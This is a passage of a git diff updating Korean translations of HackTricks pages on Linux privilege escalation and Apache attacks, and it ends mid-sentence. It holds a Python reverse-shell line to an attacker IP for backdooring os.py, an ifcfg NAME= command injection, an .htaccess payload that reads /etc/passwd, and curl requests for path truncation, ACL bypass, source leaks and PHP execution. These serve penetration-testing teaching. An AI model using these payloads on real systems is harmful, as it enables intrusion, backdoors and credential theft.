[**LaZagne**](https://github.com/AlessandroZ/LaZagne)가 있으며, Windows, Linux 및 Mac의 로컬 컴퓨터에 저장된 많은 비밀번호를 복구하는 데 사용되는 오픈 소스 애플리케이션입니다. ### Logs -로그를 읽을 수 있다면, **그 안에서 흥미롭거나 기밀 정보를 찾을 수 있을지도 모릅니다**. 로그가 이상할수록 더 흥미로울 것입니다 (아마도).\ -또한, "**잘못된**" 구성(백도어?)된 **감사 로그**는 이 게시물에서 설명한 대로 감사 로그에 **비밀번호를 기록**할 수 있게 해줄 수 있습니다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +logs를 읽을 수 있다면 **그 안에서의 흥미로운/기밀 정보**를 찾을 수 있습니다. logs가 더 이상할수록 더 흥미로울 것입니다(아마도).\ +또한 일부 **잘못 구성된**(backdoored?) **audit logs**는 이 게시물에 설명된 것처럼 audit logs 안에 **비밀번호를 기록**할 수 있게 할 수도 있습니다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -로그를 읽기 위해 **adm** 그룹이 정말 유용할 것입니다. +로그를 읽기 위해서는 [**adm**](interesting-groups-linux-pe/index.html#adm-group) 그룹이 매우 유용합니다. -### 셸 파일 +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1317,67 +1324,71 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### 일반 Creds Search/Regex -파일 이름이나 내용에 "**password**"라는 단어가 포함된 파일을 확인하고, 로그 내의 IP와 이메일, 또는 해시 정규 표현식도 확인해야 합니다.\ -이 모든 것을 수행하는 방법을 여기서 나열하지는 않겠지만, 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 체크를 확인할 수 있습니다. +파일의 **이름** 또는 **내용**에 "**password**"라는 단어가 포함된 파일도 확인해야 하고, 로그 안의 IP와 이메일 또는 해시 정규식도 확인해야 합니다.\ +여기에 이 모든 것을 수행하는 방법을 일일이 적지는 않겠지만 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 최신 검사들을 확인해보세요. -## Writable files +## 쓰기 가능한 파일 -### Python library hijacking +### Python 라이브러리 hijacking -어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면, os.py 라이브러리를 복사하여 붙여넣기 하세요). +만약 **어디에서** python 스크립트가 실행될지 알고 그 폴더에 **쓸 수 있다**거나 **python 라이브러리를 수정할 수 있다**면, OS 라이브러리를 수정해 backdoor를 심을 수 있습니다 (python 스크립트가 실행되는 위치에 쓸 수 있다면 os.py 라이브러리를 복사해 붙여넣으세요). -**라이브러리에 백도어를 설치하려면** os.py 라이브러리의 끝에 다음 줄을 추가하세요(IP와 PORT를 변경하세요): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate 악용 -`logrotate`의 취약점은 로그 파일이나 그 상위 디렉토리에 **쓰기 권한**이 있는 사용자가 잠재적으로 권한 상승을 얻을 수 있게 합니다. 이는 `logrotate`가 종종 **root**로 실행되기 때문에, _**/etc/bash_completion.d/**_와 같은 디렉토리에서 임의의 파일을 실행하도록 조작될 수 있습니다. 로그 회전이 적용되는 모든 디렉토리뿐만 아니라 _/var/log_에서도 권한을 확인하는 것이 중요합니다. +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 미칩니다. +> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전에 영향을 미칩니다 -취약점에 대한 더 자세한 정보는 이 페이지에서 확인할 수 있습니다: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다. +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 심볼릭 링크로 로그를 대체하여 권한을 상승시킬 수 있는지 확인하십시오. +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**취약점 참조:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-` 스크립트를 **쓰기** 할 수 있거나 기존 스크립트를 **조정**할 수 있다면, 당신의 **시스템은 pwned**입니다. +어떤 이유로든 사용자가 `ifcf-` 스크립트를 _/etc/sysconfig/network-scripts_에 **작성**할 수 있거나 기존 것을 **수정**할 수 있다면, 당신의 **system is pwned**. -예를 들어 _ifcg-eth0_와 같은 네트워크 스크립트는 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 정확히 같습니다. 그러나 이들은 Linux에서 Network Manager( dispatcher.d)에 의해 \~sourced\~됩니다. +네트워크 스크립트(예: _ifcg-eth0_)는 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 정확히 같은 형식으로 보입니다. 그러나, 이는 Linux에서 Network Manager (dispatcher.d)에 의해 \~sourced\~ 됩니다. -내 경우, 이러한 네트워크 스크립트에서 `NAME=` 속성이 올바르게 처리되지 않습니다. 이름에 **공백이 있는 경우 시스템은 공백 이후의 부분을 실행하려고 시도합니다**. 이는 **첫 번째 공백 이후의 모든 것이 root로 실행된다는 것을 의미합니다**. +제가 본 사례에서는 이러한 네트워크 스크립트의 `NAME=` 속성이 올바르게 처리되지 않습니다. **이름에 공백(빈칸)이 있으면 시스템은 공백 이후의 부분을 실행하려고 시도합니다**. 이는 **첫 번째 공백 이후의 모든 것이 root로 실행됩니다**. -예: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -### **init, init.d, systemd, 및 rc.d** +(_Network와 /bin/id 사이의 공백에 주의하세요_) -디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다. +### **init, init.d, systemd, and rc.d** -반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 Ubuntu에서 도입한 새로운 **서비스 관리**로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 여전히 사용되며, 이는 Upstart의 호환성 계층 덕분입니다. +디렉터리 `/etc/init.d`는 System V init (SysVinit)을 위한 **스크립트**의 저장소입니다(전통적인 Linux 서비스 관리 시스템). 여기에는 서비스를 `start`, `stop`, `restart`, 그리고 때로는 `reload`하기 위한 스크립트들이 포함되어 있습니다. 이 스크립트들은 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템에서는 대안 경로로 `/etc/rc.d/init.d`가 사용됩니다. -**systemd**는 현대적인 초기화 및 서비스 관리자이며, 온디맨드 데몬 시작, 자동 마운트 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 이는 배포 패키지를 위한 `/usr/lib/systemd/`와 관리자의 수정을 위한 `/etc/systemd/system/`에 파일을 정리하여 시스템 관리 프로세스를 간소화합니다. +반면 `/etc/init`은 **Upstart**와 연관되어 있으며, Ubuntu에서 도입된 더 새로운 **서비스 관리** 시스템으로 서비스 관리 작업을 위한 설정 파일을 사용합니다. Upstart로의 전환이 있었음에도 불구하고, Upstart의 호환성 계층 때문에 SysVinit 스크립트는 여전히 Upstart 설정과 함께 사용됩니다. + +**systemd**는 현대적인 초기화 및 서비스 관리자으로 등장했으며, 요구 시 데몬 시작(on-demand daemon starting), automount 관리, 시스템 상태 스냅샷(system state snapshots)과 같은 고급 기능을 제공합니다. 배포 패키지용 파일은 `/usr/lib/systemd/`에, 관리자의 수정용 파일은 `/etc/systemd/system/`에 정리되어 시스템 관리 과정을 간소화합니다. ## 기타 트릭 -### NFS 권한 상승 +### NFS Privilege escalation + {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### 제한된 셸에서 탈출하기 +### Escaping from restricted Shells + {{#ref}} escaping-from-limited-bash.md @@ -1385,35 +1396,45 @@ escaping-from-limited-bash.md ### Cisco - vmanage + {{#ref}} cisco-vmanage.md {{#endref}} -## 커널 보안 보호 +## Android rooting frameworks: manager-channel abuse + +Android rooting frameworks는 일반적으로 syscall을 훅(hook)하여 privileged kernel 기능을 userspace manager에 노출합니다. 관리자 인증이 약한 경우(예: FD-order 기반의 서명 검사 또는 취약한 비밀번호 체계) 로컬 앱(local app)이 manager를 가장하여 이미 root된 기기에서 root로 권한 상승할 수 있습니다. 자세한 내용과 익스플로잇 세부사항은 다음을 참조하세요: + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## 추가 도움 +## More help -[정적 impacket 바이너리](https://github.com/ropnop/impacket_static_binaries) +[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc 도구 +## Linux/Unix Privesc Tools -### **리눅스 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t 옵션)\ +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** 리눅스 및 MAC에서 커널 취약점 열거 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (물리적 접근):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**더 많은 스크립트 모음**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## 참고 문헌 +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1433,12 +1454,5 @@ cisco-vmanage.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Android 루팅 프레임워크: 관리자 채널 남용 - -Android 루팅 프레임워크는 일반적으로 시스템 호출을 후킹하여 사용자 공간 관리자에게 특권 커널 기능을 노출합니다. 약한 관리자 인증(예: FD 순서에 기반한 서명 검사 또는 불완전한 비밀번호 체계)은 로컬 앱이 관리자를 가장하고 이미 루팅된 장치에서 루트 권한을 상승시킬 수 있게 합니다. 자세한 내용과 취약점 활용 방법은 여기에서 확인하세요: - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 091e2c7e9..7e131640a 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## 실행 가능한 PHP 확장 +## Executable PHP extensions -Apache 서버가 실행하고 있는 확장을 확인하십시오. 이를 검색하려면 다음을 실행할 수 있습니다: +Apache 서버에서 어떤 확장(extensions)이 실행되고 있는지 확인합니다. 검색하려면 다음을 실행하세요: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -또한, 이 구성을 찾을 수 있는 몇 가지 장소는: +또한, 이 구성을 찾을 수 있는 몇몇 위치는 다음과 같습니다: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## 혼란 공격 +## LFI via .htaccess ErrorDocument file provider (ap_expr) -이러한 유형의 공격은 [**오렌지의 블로그 게시물에서**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) 소개되고 문서화되었으며, 다음은 요약입니다. "혼란" 공격은 기본적으로 Apache를 생성하는 수십 개의 모듈이 완벽하게 동기화되지 않는 방식을 악용하며, 그 중 일부가 예상치 못한 데이터를 수정하게 되면 이후 모듈에서 취약점이 발생할 수 있습니다. +디렉터리의 .htaccess를 제어할 수 있고 해당 경로에 대해 AllowOverride가 FileInfo를 포함하면, ErrorDocument 안에서 ap_expr의 file() 함수를 사용해 404 응답을 임의의 로컬 파일 읽기로 바꿀 수 있습니다. -### 파일 이름 혼란 +- 요구 사항: +- Apache 2.4에서 expression parser (ap_expr)가 활성화되어 있어야 합니다(2.4의 기본값). +- vhost/dir는 .htaccess가 ErrorDocument를 설정할 수 있도록 허용해야 합니다 (AllowOverride FileInfo). +- Apache worker 사용자가 대상 파일을 읽을 수 있는 권한을 가져야 합니다. -#### 잘림 +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +해당 디렉터리 아래의 존재하지 않는 경로를 요청하면 트리거됩니다. 예를 들어 userdir-style hosting을 악용할 때: +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +노트 및 팁: +- 절대 경로만 작동합니다. 콘텐츠는 404 핸들러의 응답 본문으로 반환됩니다. +- 실제 읽기 권한은 Apache 사용자(일반적으로 www-data/apache)의 권한입니다. 기본 설정에서는 /root/* 또는 /etc/shadow를 읽을 수 없습니다. +- 설령 .htaccess가 root 소유여도, 상위 디렉터리가 테넌트 소유이고 이름 변경을 허용하면 원래 .htaccess의 이름을 바꾸고 SFTP/FTP로 자신의 대체 파일을 업로드할 수 있습니다: +- rename .htaccess .htaccess.bk +- put your malicious .htaccess +- 이를 사용해 DocumentRoot 또는 vhost 구성 경로 아래의 애플리케이션 소스에서 비밀(DB creds, API keys 등)을 수집할 수 있습니다. -**`mod_rewrite`**는 `r->filename`의 내용을 문자 `?` 이후로 잘라냅니다 ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). 이는 대부분의 모듈이 `r->filename`을 URL로 처리하기 때문에 완전히 잘못된 것은 아닙니다. 그러나 다른 경우에는 파일 경로로 처리되어 문제가 발생할 수 있습니다. +## Confusion Attack -- **경로 잘림** +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. -다음 규칙 예제와 같이 `mod_rewrite`를 악용하여 파일 시스템 내의 다른 파일에 접근할 수 있으며, 예상 경로의 마지막 부분을 제거하고 단순히 `?`를 추가할 수 있습니다: +### Filename Confusion + +#### Truncation + +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. + +- **Path Truncation** + +It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -46,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **오해를 일으키는 RewriteFlag 할당** +- **오도하는 RewriteFlag 할당** -다음 리라이트 규칙에서 URL이 .php로 끝나는 한, php로 처리되고 실행됩니다. 따라서 `?` 문자 뒤에 .php로 끝나는 URL을 보내면서 경로에 악성 php 코드가 포함된 다른 유형의 파일(예: 이미지)을 로드하는 것이 가능합니다: +다음 rewrite rule에서는 URL이 .php로 끝나는 한 해당 URL은 php로 취급되어 실행됩니다. 따라서 경로에 다른 유형의 파일(예: 이미지)을 로드하면서 `?` 문자 뒤에 .php로 끝나는 URL을 전송해 그 파일 안에 악성 php 코드를 포함시킬 수 있습니다: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -61,9 +89,9 @@ curl http://server/upload/1.gif curl http://server/upload/1.gif%3fooo.php # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` -#### **ACL 우회** +#### **ACL Bypass** -사용자가 접근할 수 없어야 하는 파일에 접근할 수 있는 가능성이 있으며, 접근이 거부되어야 하는 구성에서도 가능합니다: +다음과 같은 설정 하에서 액세스가 거부되어야 함에도 불구하고 사용자가 접근해서는 안 되는 파일에 접근할 수 있다: ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -이것은 기본적으로 PHP-FPM이 `.php`로 끝나는 URL을 수신하기 때문입니다. 예를 들어 `http://server/admin.php%3Fooo.php`와 같이, PHP-FPM은 `?` 문자 이후의 모든 것을 제거하므로, 이전 규칙이 이를 금지했더라도 `/admin.php`를 로드할 수 있게 됩니다. +이는 기본적으로 PHP-FPM이 `.php`로 끝나는 URL(예: `http://server/admin.php%3Fooo.php`)을 수신하고, PHP-FPM이 문자 `?` 이후의 모든 것을 제거하기 때문에, 앞의 URL은 이전 규칙이 이를 금지했더라도 `/admin.php`를 로드할 수 있게 된다. -### DocumentRoot Confusion +### DocumentRoot 혼동 ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Apache에 대한 재미있는 사실은 이전 재작성 과정에서 documentRoot와 root 모두에서 파일에 접근하려고 시도한다는 것입니다. 따라서 `https://server/abouth.html`에 대한 요청은 파일 시스템에서 `/var/www/html/about.html`과 `/about.html`을 확인합니다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있습니다. +Apache에 대한 흥미로운 사실은 앞서의 rewrite가 documentRoot와 root 둘 다에서 파일에 접근하려고 시도한다는 것입니다. 따라서 `https://server/abouth.html`에 대한 요청은 파일 시스템에서 `/var/www/html/about.html`과 `/about.html`을 확인합니다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있습니다. #### **서버 측 소스 코드 노출** - **CGI 소스 코드 노출** -끝에 %3F를 추가하는 것만으로도 cgi 모듈의 소스 코드를 유출할 수 있습니다: +끝에 %3F를 추가하기만 해도 cgi 모듈의 소스 코드를 leak할 수 있습니다: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **PHP 소스 코드 공개** +- **PHP Source Code 공개** -서버에 여러 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이를 악용하여 파일 시스템을 탐색하고 php 코드를 유출할 수 있습니다: +서버에 서로 다른 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이는 파일 시스템을 횡단하여 php 코드를 leak하는 데 악용될 수 있습니다: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **로컬 가젯 조작** +#### **Local Gadgets Manipulation** -이전 공격의 주요 문제는 기본적으로 대부분의 파일 시스템에 대한 접근이 거부된다는 것입니다. 이는 Apache HTTP Server의 [구성 템플릿](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)에서 확인할 수 있습니다: +이전 공격의 주요 문제는 기본적으로 대부분의 파일 시스템 접근이 Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)에서와 같이 거부된다는 점입니다: ```xml AllowOverride None Require all denied ``` -그러나 [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 운영 체제는 기본적으로 `/usr/share`를 허용합니다: +하지만 [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 운영체제는 기본적으로 `/usr/share`를 허용합니다: ```xml AllowOverride None Require all granted ``` -따라서 이러한 배포판에서 `/usr/share` 내부에 위치한 파일을 **악용할 수 있습니다.** +따라서 이러한 배포판에서는 **`/usr/share` 내부에 위치한 파일을 악용할 수 있습니다.** -**정보 유출을 위한 로컬 가젯** +**Local Gadget to Information Disclosure** -- **websocketd**가 포함된 **Apache HTTP Server**는 **/usr/share/doc/websocketd/examples/php/**에 **dump-env.php** 스크립트를 노출할 수 있으며, 이는 민감한 환경 변수를 유출할 수 있습니다. -- **Nginx** 또는 **Jetty**가 있는 서버는 기본 웹 루트 아래에 위치한 민감한 웹 애플리케이션 정보를 노출할 수 있습니다: +- **Apache HTTP Server**와 **websocketd**는 **/usr/share/doc/websocketd/examples/php/**에 있는 **dump-env.php** 스크립트를 노출할 수 있으며, 이는 민감한 환경 변수를 leak할 수 있습니다. +- **Nginx** 또는 **Jetty**를 사용하는 서버는 기본 웹 루트가 **/usr/share** 아래에 배치되어 있어 민감한 웹 애플리케이션 정보를 노출할 수 있습니다(예: **web.xml**): - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**XSS를 위한 로컬 가젯** +**Local Gadget to XSS** -- **LibreOffice가 설치된** Ubuntu Desktop에서 도움말 파일의 언어 전환 기능을 악용하면 **교차 사이트 스크립팅(XSS)**으로 이어질 수 있습니다. **/usr/share/libreoffice/help/help.html**에서 URL을 조작하면 악성 페이지나 이전 버전으로 리디렉션될 수 있습니다 **안전하지 않은 RewriteRule**을 통해. +- **LibreOffice가 설치된 Ubuntu Desktop**에서는 도움말 파일의 언어 전환 기능을 악용하여 **Cross-Site Scripting (XSS)**으로 이어질 수 있습니다. **/usr/share/libreoffice/help/help.html**의 URL을 조작하면 **unsafe RewriteRule**을 통해 악성 페이지나 오래된 버전으로 리다이렉트될 수 있습니다. -**LFI를 위한 로컬 가젯** +**Local Gadget to LFI** -- PHP 또는 **JpGraph** 또는 **jQuery-jFeed**와 같은 특정 프론트엔드 패키지가 설치된 경우, 이들의 파일을 악용하여 **/etc/passwd**와 같은 민감한 파일을 읽을 수 있습니다: +- PHP 또는 **JpGraph**, **jQuery-jFeed** 같은 일부 프론트엔드 패키지가 설치된 경우, 해당 파일들을 이용해 **/etc/passwd** 같은 민감한 파일을 읽을 수 있습니다: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**SSRF를 위한 로컬 가젯** +**Local Gadget to SSRF** -- **/usr/share/php/magpierss/scripts/magpie_debug.php**에 있는 **MagpieRSS의 magpie_debug.php**를 활용하면 SSRF 취약점을 쉽게 생성할 수 있으며, 이는 추가적인 공격의 게이트웨이를 제공합니다. +- **MagpieRSS**의 **magpie_debug.php** (경로: **/usr/share/php/magpierss/scripts/magpie_debug.php**)를 이용하면 쉽게 SSRF 취약점을 만들 수 있으며, 이를 통해 추가적인 익스플로잇으로 이어질 수 있습니다. -**RCE를 위한 로컬 가젯** +**Local Gadget to RCE** -- **원격 코드 실행(RCE)**의 기회는 방대하며, 취약한 설치(예: 구식 **PHPUnit** 또는 **phpLiteAdmin**)가 있습니다. 이러한 것들은 임의의 코드를 실행하는 데 악용될 수 있으며, 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다. +- Remote Code Execution (RCE) 기회는 광범위하며, 오래된 **PHPUnit**이나 **phpLiteAdmin**와 같은 취약한 설치를 통해 임의 코드를 실행할 수 있습니다. 이는 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다. -#### **로컬 가젯에서의 탈옥** +#### **Jailbreak from Local Gadgets** -설치된 소프트웨어가 생성한 심볼릭 링크를 따라 허용된 폴더에서 탈옥하는 것도 가능합니다. 예를 들어: +허용된 폴더에서 설치된 소프트웨어가 생성한 심볼릭 링크를 따라가면 jailbreak하는 것도 가능합니다. 예시: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -158,37 +186,37 @@ Require all granted - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -또한, 심볼릭 링크를 악용하여 **Redmine에서 RCE를 얻는 것이 가능했습니다.** +또한, 심볼릭 링크를 악용하여 Redmine에서 **RCE**를 얻는 것이 가능했습니다. -### 핸들러 혼동 +### Handler Confusion -이 공격은 `AddHandler`와 `AddType` 지시어 간의 기능 중복을 악용하며, 두 지시어 모두 **PHP 처리를 활성화**하는 데 사용될 수 있습니다. 원래 이 지시어들은 서버의 내부 구조에서 서로 다른 필드(`r->handler` 및 `r->content_type`)에 영향을 미쳤습니다. 그러나 레거시 코드로 인해 Apache는 특정 조건에서 이 지시어들을 서로 교환하여 처리하며, 이전 것이 설정되고 후자가 설정되지 않은 경우 `r->content_type`을 `r->handler`로 변환합니다. +이 공격은 `AddHandler`와 `AddType` 디렉티브 사이의 기능 겹침을 악용합니다. 두 디렉티브 모두 **PHP 처리 활성화**에 사용될 수 있습니다. 원래 이 디렉티브들은 서버 내부 구조의 서로 다른 필드(`r->handler` 및 `r->content_type`)에 영향을 주었습니다. 하지만 레거시 코드로 인해 특정 조건에서 Apache는 이 디렉티브들을 상호 교환적으로 